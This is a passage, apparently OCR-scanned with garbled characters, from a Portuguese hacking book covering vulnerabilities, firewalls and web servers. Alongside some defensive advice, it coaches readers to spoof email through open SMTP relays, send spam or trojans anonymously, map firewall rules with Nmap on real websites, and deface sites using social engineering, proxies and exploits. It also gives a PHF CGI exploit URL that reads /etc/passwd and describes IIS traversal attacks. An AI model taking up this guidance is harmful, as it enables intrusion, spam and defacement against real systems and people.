mquinas de uma pequena rede. H diversas maneiras de tirar algumas verses
antigas do WinGate do ar. Uma das mais conhecidas conectar-se (com telnet,
por exemplo) porta 2080 e enviar alguns quilobytes de dados quaisquer.
Mas o interessante que algumas verses do WinGate mal conflguradas permitem que ele seja usado como proxy annimo. Se voc roda um desses, est
arriscado a emprestar o SEU IP para que script kiddies ataquem o Pentgono.
Encontrar exploits para o WinGate muito fcil. Use seu mecanismo de busca
190

Vulnerabilidades 11[

Universidade 2 Ano

favorito e procure por "wingate scanner". Tenha em mente que muitos desses
scanners podem ser armadilhas para pegar script kiddies e, portanto, conter
vrus e trojans - atualize seu antivrus!!!
A correo para isso bem fcil. Se voc insistir em usar Windows, faa um
upgrade do WinGate (www.wingate.com)
ou use outro software, como o
WinProxy (www.winproxy.com).As verses mais novas do Windows possuem
o Internet Connection Sharing, que dispensa o uso de programas externos. Mas
o prprio ICS , em si, inseguro, ento recomendamos que instale um ftrewall
pessoal como o ZoneAlarm (www.zonealarm.com) ou compre por uns trocados uma sucata de 386 (funcionando, obviamente) com pelo menos 8 Mbytes
de RAM e sem nenhum HD. Nela, instale algum gateway+ftrewall baseado em
Linux ou FreeBSD.Boas pedidas so o Coyote Linux (www.coyotelinux.com). o
Trinux (trinux.sourceforge.net) e o FreeSCO (www.freesco.org). A sucata de
386 custar mais barato que as licenas de WinGate, WinProxy ou do Windows
com ICS e Zone Alarm.Alm disso, se bem conflgurada funcionar melhor, ser
mais segura e deixar seu miero de trabalho com menos porcarias instaladas.

Anonymous remaiLers
Uma das coisas mais chatas que existem (depois dos vendedores de enciclopdia, dos pop-ups em web sites e dos representantes tcnicos de grandes
softwarehouses, insistindo para que voc use o carssimo programa deles, e
no aquele gratuito que faz a mesma coisa) o spam. Todos ns recebemos,
diariamente, dezenas ou mesmo centenas de mensagens indesejadas nos oferecendo de tudo, de sexo a cera colorida para automveis, de panelas ultra-modernas a consolidao de dvidas. Em um primeiro momento, fcil conflgurar
um cliente de e-mail como o Outlook ou o Eudora para, no campo "From" das
mensagens enviadas, apresentar um endereo diferente. do seu.
Mas esse artifcio logo descoberto, pois no cabealho do e-mail (os dados
que vm antes de sua mensagem, e que normalmente no aparecem) ficam
registrados seu e-mail verdadeiro, o endereo de seu servidor SMTP e at o
nome do programa que voc usou. Para enviar spam sossegado (ou um cavalo
de tria) voc tem, ento, duas opes:
~ Encontrar servidores de SMTPque estejam abertos para relay externo, ou
seja, que aceitem conexes vindas de qualquer canto da Internet. Acredite, eles
so bem comuns...
~ Utilizar um software ou site que reenvie seus e-mails sem revelar a origem.
Em servidores SMTP desprotegidos, voc pode configurar seu cliente de
e-mail para conectar-se a ele, mas isso poderia deixar muitos rastros. Uma boa
tcnica usar o velho e bom telnet para tal. Depois de encontrar um servidor
de e-mail aberto ao grande pblico, d um telnet a ele na porta 25:
$ telnet IP.DO.SMTP.ABERTO 25
1191
I

Vulnerabilidades

II

I Universidade H4CK3R I

No prompt que aparecer, voc deve digitar os comandos que, normalmente,


seu programa de e-mail enviaria ao servidor - sim, eles esto em texto puro!
HELO servidor.
aberto. com
MAIL FROM: mailfalso@servidor.aberto.com
RCPT TO: pr@presidencia.gov.br
DATA
Date: Thu, 31 Dec 1998 12:16:35 -0500 (EST)
From: mailfalso@servidor.aberto.com (Um brasileiro resoluto)
To: pr@presidencia.gov.br
Subject: Programa de Governo
Reply-To: mailfalso@servidor.aberto.com
Ei! Quando vocs vo comear a cumprir o programa de
governo, hein?
QUIT

Alguns sistemas, mesmo abertos para relay externo, so imunes a esse procedimento. Voc conseguir enviar o e-mail,mas no ser permitido "mentir" a respeito
de seu endereo. Enviar um e-mail a voc mesmo um bom teste, mas no esquea
de verificar os cabealhos! O que ocorre que servidores de SMTP mais novos
verificaro sua identidade com o servio identd (que tenta identific-Io remotamente). Nesses casos, necessrio "enganar" o identd primeiro, para depois usar o
SMTP aberto. No tenha preguia de completar todos os campos mostrados. Assim, sua mensagem ficar mais parecida com uma mensagem real. Para mais informaes sobre o funcionamento do protocolo SMTP,leia as RFCs 822 e 931.
H diversos sites que enviam e-mails annimos. Mesmo grandes sites de hospedagem gratuita e mecanismos de busca (como o Lycos: members.lycos.fr/
moiaptoi/mail.php) possuem pginas especiais para enviar e-mails com mensagens ou e-cards aos seus amigos - ferramenta que, na mo de um hacker, torna-se
uma arma. Uma rpida pesquisa no Google retomou vrios exemplos de web
anonymous mailers. Separamos, dentre as centenas mostradas, estes cinco:
~ www.gi1c. org/speech/anonymous/remai1er.html
~ fanc1 ub. etoy. c3 .hu/tanksystem/underground-tank/resistance/
mailerform.html
<= Um site de estudantes!
~judsonalumni.com/1evel5
~ www.email-anonyme.fr.st
~ mailer.us.tf
Voc pode ainda invadir um servidor qualquer na Internet e imp1ementar
l, sem que ningum saiba, seu prprio Mailer. Um exemplo de cdigo (em
PHP) pode
ser visto
em http://www.pscode.com/vb/scripts/
ShowCode.asp ?txtCodeId=95 3&lngWId=8.
H pilhas de softwares que automatizam o processo de enviar toneladas de emails para milhares de endereos, incluindo a imp1ementar seu prprio servidor SMTP domstico ou varrer a Internet atrs de servidores podres. Se voc
1192

I
Vulnerabilidades

11[

Universidade 2 Ano

usa Unix e tem conexo direta com a Internet, pode instalar um servidor completo de SMTPem sua mquina, configur-Io para um domnio fictcio qualquer
e mandar brasa! Alguns provedores bloqueiam servidores SMTP em seus assinantes, mas nada que um proxy pblico no resolva...
H diversas opes disponveis, sendo o Qmail, PostflX e o veterano Sendmail
as mais conhecidas. Em um refmamento desse processo, podem-se utilizar servidores de listas de discusso para automatizar a entrega a muitos destinatrios. Entre os servidores de listas mais comuns encontram-se o Majordomo, o
Exim e o GNU Mailman. Para alimentar os servidores de listas, basta criar uma
lista de distribuio e cadastrar, aos poucos, endereos colecionados pela Internet.
H scripts como o Bulk Mailer (ftp://cs.utk.edu/pub/moorelbulk
mailer/) que
facilitam a tarefa ainda mais. Uma procura no Google j seria suficiente para
comear, mas no h necessidade: voc pode, simplesmente, copiar e colar a
partir daqueles e-mails de corrente e mensagens de fim de ano que se costuma
receber e que normalmente vm repletos de endereos nos campos "Para" e
"CC". Se voc inimigo do spam, uma dica: ao reenviar mensagens, use sempre
o campo "Cpia Oculta" ou BCC.
No lado do cliente, ainda possvel enviar e-mails annimos sem invadir servidor algum. Tenha em mente que, apesar de ser uma soluo mais simples,
perigosamente fcil de ser rastreada. Alguns programas (pagos) para Windows
que fazem isso so:
~ Send-Safe: www.send-safe.com
~ Bulker: bulker. us
No CD, h alguns outros programas gratuitos que prometem cumprir o prometido: enviar e-mails annimos a um grande nmero de pessoas. Teste todos.
Mas no se prenda facilidade de um script, como diria a hackergirl Melpneme.
Tente entender como os servidores SMTP funcionam, e ver que fcil utilizar
qualquer um deles para enviar e-mails annimos. Uma ltima recomendao:
leia as RFCs!

Furando firewalls
Quando algum invade um computador domstico, tem sua disposio alguns arquivos importantes apenas para o dono. Talvez algum software bacana
que merea ser copiado. Essas mquinas no servem para realizar o sonho
warholiano desses adolescentes: ter seus breves momentos de fama.
Para conseguir a to sonhada publicidade grtis, necessrio atacar sistemas
que sejam visveis ao grande pblico. Alterar web sites a primeirssima escolha, uma vez que algum recado pode ser dado e a obra-de-arte sempre vir
assinada. Mas h outras opes de grande repercusso, embora mais annimas.
Derrubar servidores de empresas ou roteadores da Internet so duas delas.
Apesar do anonimato, o estrago causado grande.

1193 I

]Vulnerabilidades

II

I Universidade

H4CK3R

Firewalls
Falemos a verdade: quem hoje, em s conscincia, deixaria um servidor Web
ligado diretamente Internet? (Ok, ok, ok, est bem: muita gente faria isso...?)
Mesmo que sejam mquinas acessveis aos internautas em geral, um certo grau
de proteo deve ser providenciado para que nosso site no seja molestado
logo no primeiro dia (ou antes, na primeira hora...). Essa proteo usualmente
relegada a equipamentos chamados fn-ewa1ls.
Um firewall sempre colocado na divisa entre duas ou mais redes. Pode ser
entre redes privadas ou entre uma rede privada e a Internet. A funo de tal
equipamento controlar o trfego entre elas, permitindo ou bloqueando informaes de acordo com regras preestabelecidas. H diversas explicaes para
a palavra firewall. Os autores preferem a definio de "porta corta-fogo", ou
seja, deixa passar as pessoas correndo do incndio mas bloqueia o fogo.
Analogamente, os firewalls agem como portas que permitem a algumas conexes entrar ou sair da rede, enquanto bloqueia as demais. Normalmente, as
conexes originadas de dentro da rede so permitidas, enquanto as originadas
de fora da rede so bloqueadas.
Permite ~da

e retorno

H trs tipos bsicos de firewall. Os dois mais tradicionais so os filtros de


pacotes e os proxies. O terceiro tipo uma evoluo do filtro de pacotes tradicional chamado de filtro de estados de pacotes ou stateful packet filter (SPF).

Filtros de pacotes
A tentativa mais antiga de barrar acessos indesejados em nossas redes talvez
seja a de analisar os pacotes TCP/lP um por um e, olhando em seus cabealhos,
decidir (ou adivinhar) se o mesmo maligno ou no. Normalmente, as "perguntas" que o f11trofaz ao pacote so:
~ O pacote destinado ao endereo IP de algum servidor da rede?
~ Seu endereo IP de origem permitido nesta rede?
~ A porta TCP/UDP a que se destina corresponde a um servio ofertado na
minha rede?
~A porta TCP/UDP de origem corresponde a uma aplicao-cliente dos meus
servios?
11941
Vulnerabilidades 111

Universidade

2 Ano

~ Os bits do pacote (SYN ou ACK) so parte do handshake TCP?


~ O pacote IP est saindo ou entrando da rede?
Se a resposta para as cinco primeiras perguntas for "sim", o ftrewall permite
que o pacote entre ou saia. A conftgurao de cada uma das situaes de permisso ou bloqueio de pacotes chamada de regra. Um conjunto qualquer
dessas regras chamado de access controllist (ACL).H vrios softwares diferentes que implementam f1ltros de pacotes. Alguns so instalados em hardwares
especftcos como roteadores e os chamados "firewalls de rack". Outros so
programas que rodam em computadores comuns. Alguns possuem interfaces
grficas para conftgurao, outros devem ser ajustados com linhas de comando por vezes complexas. Como a sintaxe e o modo de conftgurao variam
muito, no possvel apresentar um exemplo real de regra de ftrewall. Entretanto, como tecnicamente a f1ltragem idntica, variando apenas a sintaxe do
comando, uma tabela de regras poderia, para fms didticos, ser escrita assim:
IP Destino

Porta Origem
Rede Externa Todas

Porta Destino

Protocolo

80

TCP

FlagTCP
Todos

Ao
Permitir

Rede Externa Rede Externa 80

Todas

TCP

ACK

Permitir

Rede Externa Servidor Web Todas

80

TCP

SYN

Permitir

Servidor Web Rede Externa 80

Todas

TCP

ACK

Permitir

Todas

Todas

Todos

Todos

Negar

IP Origem
Rede Interna

Todas

Todas

Neste exemplo, nosso administrador de redes quis liberar o acesso World


Wide Web para os usurios dessa rede. Normalmente, os servidores Web rodam
na porta TCP 80 (lembre-se: RFC1700). Segundo a primeira regra, todas as conexes de dentro para fora cujo destino seja a porta 80 so permitidas. Obviamente, o browser do usurio envia um pacote TCP SYN para a porta 80 do servidor
Web e espera uma resposta. Tal resposta vem sob a forma de um pacote ACK,
cuja porta de origem a TCP 80 do servidor com destino a uma porta qualquer
maior que 1.024 no computador do usurio. A segunda regra permite isso.
A terceira regra permite que qualquer requisio de conexo (ou seja, um
pacote TCP SYN) seja passada ao endereo do servidor Web, e apenas a ele, na
porta 80. Uma requisio porta 80 de outra mquina qualquer ser bloqueada. A resposta do nosso servidor Web passa pelo ftrewall, permitida pela regra
quatro. Por ftm, a regra cinco bloqueia todas as outras conexes.
Mas o f1ltrode pacotes ignorante. Alm do que est defIDidoem suas regras, ele
no sabe de mais nada. Observe a regra dois. Qualquer pacote TCP vindo de fora,
cuja origem seja a porta 80 e o flag ACKesteja ligado, seria aceito pelo ftrewall sem
reclamar. Ora, um hacker poderia enviar um pacote ACKque no fosse parte de um
hadshake TCP.Com esse pacote, todos os endereos IP da rede poderiam ser testados para verificar sua existncia. Isso um belo furo de segurana!
1195
I

Vulnerabilidades

II

I Universidade

H4CK3R

Outro problema so os pacotes UDP.Eles no possuem os flags de controle,


apenas IP/porta de origem e destino. O administrador tem apenas duas opes:
bloque-Ios ou permiti-Ios. Servios importantes como o DNS (porta 53) utilizam portas UDP e, portanto, devem ser liberados no flrewall.Ao mesmo tempo,
a mesma porta UDP 53 pode ser usada para transmisso de dados para o hacker
a partir de um cavalo de tria. O f1ltro de pacotes no tem como diferenciar
entre a conexo vlida e a maliciosa.

Proxies
Os f1ltros de pacotes, como o nome j diz, baseiam-se nas informaes carregadas pelos prprios pacotes para tomar as decises sobre quem entra ou sai
e quem barrado. Diferentemente, flrewalls baseados na tecnologia proxy trabalham com a camada de aplicao. O proxy interage com o programa e seus
protocolos, independente de como esse protocolo ser encapsulado na pilha
TCP/lP. Por exemplo, um proxy para Web muito conhecido no mundo Unix, o
Squid, trabalha apenas com o protocolo HTTp, bloqueando os demais2. Alm
disso, imune a ataques com pacotes isolados. O pacote ACK que passou com
galhardia pelo f1ltro de pacotes ser solenemente ignorado pelo proxy, que
ainda vai "escovar os bits" do protocolo HTTP para deixar passar apenas mensagens que lhe obedeam estritamente - ao muito mais efetiva do que simplesmente bloquear as conexes ACKTCP/80. H proxies para todos os gostos,
sendo HTTp,FTP e Telnet os mais comuns.
Proxy repassa
solicitao ao servidor

. Proxy

Opcionalmente, um proxy pode autenticar usurios, permitindo que apenas


logins devidamente cadastrados o utilizem. Se til para controlar quem pode
ou no acessar servios externos - um controle assaz vlido em empresas -
muito mais til para impedir que cavalos de tria conectem-se com seus amos
malignos envoltos nas brumas da Internet. De fato, em um f1ltro de pacotes que
permita conexo pela porta TCP 80, alm de requisies HTTP vlidas, poderamos ter trojans conectando-se pela mesma porta. Com um proxy isso no
seria possvel. Mesmo que o trojan disfarce seus dados com um cabealho HTTP
vlido, a conexo no passaria pelo esquema de autenticao.
2. Normalmente, ele configurado para servir apenas como o proxy web.
1196

Vulnerabilidades II [

Universidade

2 Ano

Filtros de pacotes por estado (SPF)


Que tal dotar de alguma inteligncia os microceflicos illtros de pacotes? Uma
nova tecnologia de anlise de pacotes foi agregada aos illtros, permitindo que eles
lembrem-se de pacotes anteriores antes de permitir outro mais recente entrar. Essa
"memria" implementada na forma de uma tabela de conexes ativas. Quando
uma conexo iniciada, todos os dados do pacote so guardados nela. Se um novo
pacote chegar em direo mesma mquina, o SPF consulta a tabela. O novo pacote aceito caso seja dada a continuao da conexo ou rejeitado, se no for.
Um exemplo prtico o prprio hadshake bsico do TCP. Uma mquina de
dentro da rede envia um pacote TCP SYN, que passa pelo SPF e registrado na
tabela. Essa mquina espera por um pacote TCP SYN/ ACK da outra mquina
(externa) que participa da conexo. Quando o pacote chega, o SPF analisa a
tabela e, verificando que um pacote vlido, permite sua passagem. O firewall
sabe que s pode aceitar o pacote SYN/ ACK se ele for uma resposta a um SYN
vindo de dentro da rede. Com isso, aquele black-hat esperto que usou um pacote ACK solitrio no conseguir, desta vez, bisbilhotar
nossa rede.

Pesquisando as regras do filtro de pacotes


Um script kiddie normalmente desiste de escanear a rede se seus pacotes ACK
no passarem pelo flfewall. H maneiras de furar qualquer um dos trs tipos de
flfewalls, e que sero estudadas com outros detalhes mais adiante no livro.
Por ora, vamos nos preocupar com a fraca oposio oferecida pelos illtros de
pacotes. Tristemente, vemos que a maioria esmagadora das redes conectadas
Internet possui apenas esses illtros instalados. Os proxies so comumente usados como caches para aumentar a performance
das conexes e raramente desempenham um papel de firewall. SPFs so ainda mais negligenciados: a maioria
dos "administradores" de rede por a sequer sabe o que so Stateful Packet Filters.
possvel determinar, por meio de pacotes ACK, quais portas um f1ltro de
pacotes deixou abertas. Como vimos, os filtros de pacotes deixaro entrar qualquer pacote com o flag ACK ligado, pensando que so respostas a requisies
saintes SYN anteriores. Um portscanner
(por exemplo, o Nmap) pode enviar
pacotes ACK para todas as portas de um determinado
endereo. Fazendo isso
com todos os endereos da faixa de IPs designada para aquela rede possvel
determinar
todas as regras de f1ltragem daquele firewall.

Rede
Privada

1197
I

Vulnerabilidades

11

I Universidade

H4CK3R

Para fazer o Nmap enviar pacotes ACK a todas as portas de uma nica mquina,
utilize a opo -sA (voc deve ser root para isso):
# nmap -sA IP.A.SER.VASCULHADO
O prompt mostrado de um Unix, mas o comando no Windows seria exatamente o mesmo. Obviamente, podem-se usar os front ends grficos (NmapWin
e Nmapfe) para facilitar a tarefa, se assim for desejado.
possvel fazer o mesmo scan com todas as portas de uma faixa de IPs (ou
seja, diversas mquinas). Por exemplo:

# nmap -sA 192.168.1.


*
Varre todos os IPs de 192.168.1.0 a 192.168.1.255
# nmap -sA 192.168.1.3-127
Varretodos os IPs de 192.168.1.3 a 192.168.1.127
Dispare esse comando contra vrios web sites e voc ver que nem todos fizeram a lio de casa. Escolha um deles (o mais esburacado) e tente, a partir dos
dados apresentados pelo Nmap, determinar as regras do firewall em questo.
Outro comando muito interessante nesta hora o TraceroutelTracert. Se voc
est em uma mquina Unix, experimente dar o seguinte comando:
# traceroute IP.DO.WEB.SERVER
Em uma mquina Windows, o comando seria:
C: \ TRACERT

IP

. DO.WEB.SERVER

Voc ver uma lista com todos os nmeros IP (e, se disponveis, os nomes de
DNS) dos computadores e roteadores que esto no caminho entre o seu computador e o computador destino. muito provvel que, sendo o computador destino um web server, as duas interfaces de rede (ou seja, os nmeros IP) imediatamente anteriores pertenam ao firewall. J temos, com isso, trs informaes
vlidas: o endereo IP do web server, os endereo IP do firewall e suas regras de
filtragem. Com um pouco de pacincia, o "hacker" pode tentar diversos endereos prximos com o Nmap e o T,raceroutelTracert e, com os dados obtidos, desenhar um diagrama aproximado da rede a ser atacada. Perigoso, no mesmo?
De posse dessas informaes, um scanner de vulnerabilidades, como o valoroso Nessus, poder abrir um mundo de opes para invadir qualquer uma das
mquinas encontradas. Basta descobrir o furo, baixar o exploit (www.cert.org
e www.securitifocus.com. pra comear) e correr para o abrao.

Servidores Web
preciso conhecer com certa profundidade os daemond HTTP a serem atacados para poder, rapidamente, invadi-Ios e alterar suas pginas. Conhecer as
vulnerabilidades existentes neles crucial para o sucesso da empreitada. Aps
invadidos, os caminhos que levam s pginas devem ser descobertos rapidamente para evitar um tempo muito longo de conexo e possveis rastreamentos.

1198 I
Vulnerabilidades 11[

Universidade 2 Ano

Apache
O servidor HTTP nmero um no mundo o Apache (www.apache.org).
um programa de cdigo aberto e livre distribuio muito prestigiado por seu
desempenho, segurana e flexibilidade. Entretanto, nenhum software 100%
seguro, e o Apache no exceo.
Os arquivos de configurao do Apache normalmente esto no /etc, nos
diretrios /etc!httpd ou /etc/apache. Em algumas implementaes, podem estar
em /usr/locaVapache ou /var!httpd. importante que o atacante se familiarize
com os conceitos de operao de um servidor HTTP,com o Apache em especial
e, principalmente, com o arquivo de configurao httpd.conf. Outro ponto interessante a estudar so os mecanismos de acesso a pginas restritas por meio de
senhas. Tais mecanismos usam arquivos normalmente chamados de .htacces para
guardar o login e a senha dos usurios cadastrados. Todas essas informaes
constam na documentao do produto, disponvel no site oficial.
A melhor maneira de aprender sobre o Apache mexendo nele. Instale um Linux
qualquer em um computador de testes bem como o Apache mais recente. Brinque
com as configuraes, procure HOwros na Internet, crie pginas de acesso restrito e, principalmente, veja como a hierarquia de diretrios organizada.
Como nem tudo so flores, o Apache pode estar vulnervel a ataques. Alm
de m configurao do Unix que o hospeda, o prprio Apache pode estar mal
configurado. Mas mesmo que tudo esteja em ordem, pode haver falhas no
software que possibilitem uma invaso. Um exemplo simples. O Apache possui
um mdulo, mod_php, que permite a execuo de sistemas escritos na linguagem PHP no servidor. Algumas funes do mod_php permitem que um programa externo seja executado. Nessas situaes, o controle da porta pela qual o
Apache "escuta" (normalmente a 80) passado a esse programa externo. Sendo
assim, fcil fazer um programinha com cdigo malicioso que permita ao
hacker tomar conta da porta 80: basta que o programa nunca devolva o controle para o Apache e que esteja aberto para transmisso de dados por parte
do hacker. O invasor pode enviar qualquer coisa pela porta 80, inclusive outras
pginas HTML,sem alterar o contedo das pginas hospedadas no servidor. O
exploit e uma explicao mais detalhada podem ser encontrados
em
www.guninski.com/phpl.html.

Sun ONE / iPlanet


A Sun oferece o servidor HTTP Sun ONE (antes chamado de iPlanet), um
servidor poderoso e muito rpido, mas tambm com alguns bugs. O Sun ONE
faz parte de um conjunto maior de ferramentas para desenvolvimento de aplicaes corporativas emJava, e, portanto, difcil (mas no impossvel) encontr10 servindo pginas da Web. A documentao sobre o servidor pode ser encontrada na pgina oficial: wwws.sun.com/software/products/web
srvr/
home web srvr.html.

1199 I
I

Vulnerabilidades

11

I Universidade

H4CK3R I

Uma das vulnerabilidades mais conhecidas do antigo iPlanet e que algumas


verses do Sun ONE herdaram um bug no componente de pesquisa do servidor - aquele campo que permite ao internauta procurar por alguma coisa dentro do site. Um dos parmetros de pesquisa o comando NS-rel-doc-name.Uma
string muito longa associada a esse parmetro causa um buffer overflow no
componente e permite que cdigos arbitrrios com poderes de superusurio
sejam executados no servidor. Se em vez de cdigo for enviada uma string qualquer ("lixo"), o servidor poder travar e sair do ar. A vulnerabilidade est explicada
em detalhes no site Security Focus (www.securityfocus.com/bid/48511info).

Microsoft Internet Information Services (IIS)


Mas o campeo absoluto de falhas de segurana em web servers , sem dvida, o Internet Information Server (ou IIS) da Microsoft. Desde seu lanamento,
falhas so descobertas quase que mensalmente, e algumas vezes os hotrIxes e
Service Packs consertam uma ou duas falhas, mas abre outras mais. Os primeiros ataques ao IIS eram possveis apenas manipulando a URLvisitada. Por exemplo, as primeiras verses do IIS permitiam que a URL fosse informada assim:
http://site.com.IIS.com/../../Arquivos
de programaslPerl/per1.exe
Note o ../../. Isso indica ao Windows NT para subir dois diretrios. Ora, se estamos
em /www/documenroot/, basta subir dois diretrios para chegar ao raiz (C\). Se
funcionar, qualquer diretrio estar disponvel ao usurio, incluindo os que contm programas. Se, em vez de navegar com o browser, nosso intrpido hacker
usar o programa telnet, a URLacima precedida pelo comando GETtraria o prompt
de comando do interpretador PerI.A partir dele, qualquer coisa possvel.
Hoje, o maior problema do IIS so os ataques conhecidos como cross site
vulnerabilities. O atacante deve montar um site com IIS e nele colocar uma
pgina HTMLcontendo um script (pode ser ]avascript ou VBScript) que aponte para algumas das pginas de administrao do servidor, notadamente os
presentes na pasta IISHELP.O script pode tambm ser enviado por e-mail (e o
Outlook alegremente o executar sem perguntar). Ao ser executado, o script
tomar posse do IIS vtima e no do IIS do hacker. Usando essa falha, o atacante pode monitorar sesses, copiar dados e documentos importantes ou mesmo
executar alguns tipos de programas.
interessante notar que o IISHELP bloqueado para a zona da Internet. Um
script vindo de fora da rede nunca conseguiria acess-Io. Mas ao executar de
dentro da rede (pelo Internet Explorer ou pelo Outlook), o usurio est dando
ao script os poderes necessrios para controlar as pginas administrativas. O
anncio dessa falha pode ser visto no TechNet (www.microsoft.com/technet)
sob o cdigo MS02-062.
Outro problema grande com o IIS o Unicode Bug. O Windows NT (e seu
ftlho, o Windows 2000) est preparado desde h muito tempo para suportar a
codillcao de caracteres Unicode, que visa a unillcar os conjuntos de caracteres

1200 I
Vulnerabilidades

II r

Universidade

2 Ano

de todas as lnguas do mundo, acabando


com os problemas
de
internacionalizao de programas e sites. Ocorre que, apesar de os SOs estarem preparados para o Unicode, o IIS no est. Enviando uma string com inmeros caracteres Unicode 255c, possvel, no [mal da string, colocar comandos para execuo. No CD, inserimos alguns exploits para o Unicode bug. Para
corrigir esta falha sugerimos que voc substitua o servidor IIS por um Linux
com Apache (a melhor opo). Se insistir em usar o Windows, aplique o patch
oficial, disponvel em microsoft.com/technet/security/bulletin/msOO-057.asp.
O IIS ainda presta um servio ao invasor, gravando dados falsos no logoConforme reportado no Security Focus (www.securityfocus.com/bid/6795/info).
URLsespecialmente malformadas com cdigos hexadecimais podem fazer com
que o sistema grave entradas falsas nos arquivos de logo Com isso, possvel
destruir registros de invaso e confundir os programas que lem o logo
H diversos livros escritos sobre os trs servidores citados, e os sites oficiais
(especialmente o do Apache) fornecero informaes detalhadas e farta documentao sobre eles. Interrompa a leitura do livro e estude-os. importante.
Sugiro tambm uma passadinha no Security Focus (www.securityfocus.com) e
uma busca pelas vulnerabilidades desses trs servidores de HTIP. Se por acaso
os conceitos utilizados nos sites forem muito obscuros para o leitor, sugerimos
reler todo o livro, bem como os apndices no CD-ROM.

Common Gateway Interface (CGI)


OS servidores HTTP podem ser amplamente estendidos com a adoo de
mecanismos que permitam o chamado contedo dinmico, uma tecnologia que
possibilita a montagem de pginas personalizadas e de contedo varivel para
cada visitante e acesso. Tal tecnologia abriu as portas para uma infinidade de
novos servios ao internauta, como o comrcio eletrnico, as pginas interativas,
os servios de notcias personalizveis e o tratamento de formulrios on-line.
De quebra, tambm abriu as portas para os hackers.
A forma mais antiga de dotar os sites de contedo dinmico so os Common
Gateway Interfaces, ou CGIs. Esses mdulos, agregados ao servidor Web, permitem que as pginas HTML oferecidas possam tanto enviar quanto receber
dados de um programa externo. Com isso, sistemas de tratamento de dados
podem manipular as informaes recebidas e mostrar o resultado na tela. Se
voc no tem idia de como isso pode ser feito, sugiro parar a leitura deste
livro (novamente...) e ir atrs de um bom livro sobre HTML. No, no, seus
conhecimentos de FrontPage ou Dreamweaver no vo ajud-Io agora. Depois
de terminar seus estudos sobre HTML, procure aprender algo sobre ]avaScript
e VBScript. S depois continue no pargrafo seguinte.
Os programas que funcionam como CGI scripts podem ser muito simples. E
podem ser implementados em quaisquer linguagens disponveis no servidor.
Por exemplo, numa mquina rodando Windows, pode-se preparar um
1201

]Vulnerabilidades

11

I Universidade

H4CK3R I

programinha em Delphi, Visual Basic ou mesmo um arquivo de lote (.BAT) que


interaja com o IIS. No Unix, pode-se usar PerI, Python, programas compilados
em C ou mesmo shell scripts, como CGls. Falhas nesses programas podem
comprometer servidores HTIP que, de outra forma, estariam seguros.
Furos de segurana envolvendo CGls so to antigos quanto a prpria
tecnologia. Os prprios servidores j vinham com CGls-exemplo pr-instalados. Um exemplo, vindo de instalaes Unix muito antigas, a falha do tipo
PHF.O arquivo PHF um CGI script usado para atualizar uma lista de telefones
de pessoas. Essa lista disponibilizada on-line pelo servidor Web, e possvel
montar um formulrio que se utilize deste CGI para atualizar a lista.
Nos sistemas Unix com Apache, o local padro para colocar scripts CGI o
diretrio /caminho/para!http/cgi-bin/. Por default, a maioria dos antigos servidores Web instalavam o PHF como exemplo, e, como administradores de sistema nunca lem a documentao, os scripts acabavam ficando. Entretanto, o
script PHF comporta-se mal quando, junto com comandos vlidos, coloca-se
um caractere newline (em hexadecimal, OAh) na URL de controle. Um ataque
simples poderia ser:
http://vulnserv.com/cgi-bin/phf?Qalias=x%Oa/bin/cat%20/etc/passwd.
Se voc prestar ateno, depois do newline (OAh) foi emitido o comando
/bin/cat /etc/passwd.
O caractere %20 o cdigo ASCII para espao em branco. Vrias aes so
possveis e comandos em seqncia so uma boa idia. Normalmente o script
roda no Unix em um shell muito restrito, sendo o usurio nobody o "campeo
de audincia". Se voc tiver a sorte de o CGI rodar com SUID,pronto! Voc
emitir comandos como root!
Tanto o PHF quanto o Unix foram apenas exemplos. Outros CGls so vulnerveis (quase todos...) e possvel rodar comandos de outras plataformas. Um
servidor Windows NT aceita os comandos do DOS, por exemplo.
A melhor maneira de se precaver quanto aos problemas dos scripts CGI
no os usar. Por conta disso, outras formas de interagir com o usurio so as
mais utilizadas atualmente. Alguns exemplos so os servidores de aplicaes
Zope e ColdFusion e as linguagens dinmicas ASP e PHP.Mas mesmo eles possuem furos, porm no to toscos quanto os dos CGls.

PHP e ASP
As duas linguagens mais usadas para a implementao de sites dinmicos na
Web so, sempre, cheias de falhas. Como elas precisam efetuar algum
processamento antes de enviar a pgina HTML formatada ao browser, possvel inserir comandos maliciosos na URL ou em algum formulrio e conseguir
um shell para si. Com o shell, a porta para seu defacement est aberta.
A linguagem PHP (Hypertext Preprocessor) foi desenvolvida para substituir
12021
Vulnerabilidades 11[

Universidade 2 Ano

os scripts CGI em servidores Unix, embora tenha sido portada para diversas
plataformas, incluindo Windows. O sistema Active Server Pages (ASP), da
Microsoft, por outro lado, como um "shell" que interfaceia o servidor IlS e
qualquer linguagem externa. A mais usada para montar programas em ASP o
VBScript, mas muitas outras podem ser usadas, incluindo ]avascript e WSE.
Apesar da maior segurana e desempenho que essa abordagem oferece - afinal, nenhum programa externo ao servidor Web est sendo rodado -, ainda h
algumas falhas que podem ser exploradas. Para uma lista completa, consulte
seu site de vulnerabilidades
preferido, por exemplo o Security Focus
(www.securityfocus.com),
o Linux Security (www.linuxsecurity.org)
ou o
Security Bugware (www.securitybugware.org).

Defacements
Depois de atacar computadores pessoais, a prxima grande empreitada dos
script kiddies a desfigurao de web sites, os chamados defacements. At
agora, conseguimos verificar (apenas com Nmap e Traceroute/Tracert) os furos no firewall e mapear toda a rede diretamente conectada Internet. Aprendemos ainda a usar proxies para aumentar nosso anonimato e a mandar fakemails - coisa que facilita a vida de qualquer engenheiro social. A rede interna
ainda inacessvel para ns. Por enquanto...
Um defacement algo simples de fazer. Claro que h casos e casos, alguns
mais difceis, outros extremamente infantis, mas no geral os passos bsicos
para um defacement so:
1 Engenharia Social, aplicada aos administradores do site. Um exemplo clssico o prprio site da Digerati (www.digerati.com). que foi desfigurado pela
hacker juvenil Melpneme. Usando apenas tcnicas de engenharia social, ela descobriu as senhas dos administradores do site da Digerati no registro nacional de
domnios (registro.br). A partir dos dados obtidos l, acessando com as senhas
conseguidas, invadiu o DNS(tambm sem exploits, apenas com senhas conseguidas
por engenharia social) que apontava para nosso servidor Web e alterou o IP,apontando para o servidor dela. Resultado: os sites da Geek e da Digerati aparentemente desfigurados.A imagem do site desfigurado est no CD.
2 Com ES, tudo fica mais fcil. Mas com ou sem informaes privilegiadas,
deve-se cuidar do anonimato quando tentar qualquer ataque com ferramentas de
informtica. Para isso, cuide de se proteger com spoofmg e proxies pblicos.
3 Faa scans de portas e de vulnerabilidades at descobrir se os DNSs ou o
web server tm falhas que podem ser exploradas. Se sim, v atrs dos exploits
